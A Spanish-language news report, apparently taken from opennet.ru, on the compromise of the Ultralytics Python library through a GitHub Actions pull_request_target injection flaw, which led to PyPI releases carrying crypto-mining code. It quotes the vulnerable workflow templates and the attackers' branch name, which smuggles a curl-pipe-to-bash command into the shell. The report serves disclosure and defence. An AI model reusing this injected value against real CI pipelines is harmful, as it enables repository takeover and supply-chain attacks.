Un error en el manejador de GitHub Actions llevó a la publicación de lanzamientos maliciosos de Ultralytics

Los atacantes lograron ejecutar código con los privilegios del manejador de GitHub Actions en el repositorio de la biblioteca de Python Ultralytics, utilizada para resolver tareas de visión por computadora, como la detección de objetos en imágenes y la segmentación de imágenes. Después de obtener acceso al repositorio, los atacantes publicaron en el catálogo de PyPI varios nuevos lanzamientos de Ultralytics, que incluían modificaciones maliciosas para la minería de criptomonedas. En el último mes, la biblioteca Ultralytics se ha descargado más de 6,4 millones de veces desde el catálogo de PyPI.

Para comprometer el repositorio, se aprovechó una vulnerabilidad en el paquete ultralytics-actions, utilizado para ejecutar automáticamente manejadores al realizar ciertas acciones con el repositorio en GitHub, utilizando el mecanismo de GitHub Actions. En el proyecto ultralytics, el manejador vulnerable estaba vinculado al evento pull_request_target y se invocaba al recibir nuevas solicitudes de pull. En particular, para formatear el código en las solicitudes de pull enviadas, se invocó el manejador format.yml y se ejecutó el código especificado en la sección «run» del archivo action.yml, donde estaban presentes comandos de shell con plantillas de sustitución: git pull origin ${{ github.head_ref || github.ref }} git config —global user.name «${{ inputs.github_username }}» git config —global user.email «${{ inputs.github_email }}»

De este modo, en los comandos de shell se insertó, sin el debido escaping, el nombre de la rama de Git mencionada en la solicitud de pull. Cabe señalar que en agosto ya se había corregido una vulnerabilidad similar en el paquete ultralytics-actions, relacionada con el uso de un valor externo en la función echo: echo «github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}»

Para organizar la ejecución de su código en el contexto del manejador de GitHub Actions, los atacantes enviaron una solicitud de pull al repositorio ultralytics, especificando como nombre de la rama: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Por lo tanto, al recibir la solicitud de pull, se insertó la cadena proporcionada por los atacantes «$(…)» en el código, lo que, al ejecutarse posteriormente el manejador, llevó a la ejecución del código «curl -sSfL raw.githubusercontent.com/…/file.sh | bash».

Un error en el manejador de GitHub Actions llevó a la publicación de lanzamientos maliciosos de Ultralytics

La ejecución de código en el contexto de GitHub Actions puede utilizarse para capturar el token de acceso al repositorio y otros datos confidenciales. No está claro cómo los atacantes lograron crear un lanzamiento que les permitió ejecutar su código en GitHub Actions; se presume que esto fue posible gracias a la modificación del manejador publish.yml (los atacantes eliminaron la verificación de la cuenta desde la cual se permite publicar lanzamientos en PyPI) y al uso de la técnica de envenenamiento de caché de compilación de GitHub Actions para insertar sus propios datos en el lanzamiento.

El primer lanzamiento malicioso de Ultralytics 8.3.41 fue publicado por los delincuentes en el catálogo de PyPI el 4 de diciembre a las 23:51 (MSK) y eliminado a las 12:15 del día siguiente. A las 15:47 se publicó otro lanzamiento 8.3.42, que fue eliminado a las 16:47. Así, las versiones maliciosas estuvieron disponibles para su descarga durante aproximadamente 13 horas (en un día, PyPI registra alrededor de 250,000 descargas de la biblioteca ultralytics). En las versiones 8.3.41 y 8.3.42 había código que realizaba descargas de un componente externo. servidores XMRig para la minería de criptomonedas.

Los desarrolladores del proyecto han solucionado el problema y han creado lanzamientos de corrección 8.3.43 y 8.3.44, pero dos días después se realizó otro ataque, durante el cual los delincuentes publicaron hoy a las 04:41 y 05:27 (MSK) dos lanzamientos maliciosos adicionales: 8.3.45 y 8.3.46, que incluyen otro código para la minería. Hasta que se complete la investigación, se recomienda a los usuarios que se abstengan de instalar nuevas versiones y mantengan la versión 8.3.44 en sus dependencias.

Fuente: opennet.ru

Compra un hosting fiable para sitios web con protección contra DDoS, servidores VPS VDS 🔥 Compra un hosting fiable para sitios web con protección contra DDoS, servidores VPS VDS | ProHoster